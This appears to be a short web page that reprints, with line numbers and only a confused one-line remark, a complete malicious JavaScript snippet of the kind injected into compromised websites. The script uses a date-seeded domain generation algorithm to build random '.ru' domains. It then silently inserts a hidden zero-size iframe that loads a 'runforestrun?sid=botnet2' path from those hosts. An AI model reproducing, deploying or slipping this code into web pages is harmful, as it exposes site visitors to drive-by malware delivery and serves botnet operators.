http://associazioneincanto.com【俺是不懂的了】

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1. function nextRandomNumber(){
   
2.   var hi = this .seed / this .Q;
   
3.   var lo = this .seed % this .Q;
   
4.   var test = this .A * lo - this .R * hi;
   
5.   if (test > 0){
   
6.     this .seed = test;
   
7.   }
   
8.   else {
   
9.     this .seed = test + this .M;
   
10.   }
    
11.   return (this .seed * this .oneOverM);
    
12. }
    
13. function RandomNumberGenerator(unix){
    
14.   var d = new Date(unix * 1000);
    
15.   var s = d.getHours() > 12 ? 1 : 0;
    
16.   this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
    
17.   round(s * 0xFFF));
    
18.   this .A = 48271;
    
19.   this .M = 2147483647;
    
20.   this .Q = this .M / this .A;
    
21.   this .R = this .M % this .A;
    
22.   this .oneOverM = 1.0 / this .M;
    
23.   this .next = nextRandomNumber;
    
24.   return this ;
    
25. }
    
26. function createRandomNumber(r, Min, Max){
    
27.   return Math.round((Max - Min) * r.next() + Min);
    
28. }
    
29. function generatePseudoRandomString(unix, length, zone){
    
30.   var rand = new RandomNumberGenerator(unix);
    
31.   var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'
    
32.   , 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
    
33.   var str = '';
    
34.   for (var i = 0; i < length; i ++ ){
    
35.     str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    
36.   }
    
37.   return str + '.' + zone;
    
38. }
    
39. setTimeout(function (){
    
40.   try {
    
41.     if (typeof iframeWasCreated == "undefined"){
    
42.       iframeWasCreated = true;
    
43.       var unix = Math.round( + new Date() / 1000);
    
44.       var domainName = generatePseudoRandomString(unix, 16, 'ru');
    
45.       ifrm = document.createElement("IFRAME");
    
46.       ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
    
47.       ifrm.style.width = "0px";
    
48.       ifrm.style.height = "0px";
    
49.       ifrm.style.visibility = "hidden";
    
50.       document.body.appendChild(ifrm);
    
51.     }
    
52.   }
    
53.   catch (e){
    
54.   }
    
55. }
    
56. , 500);

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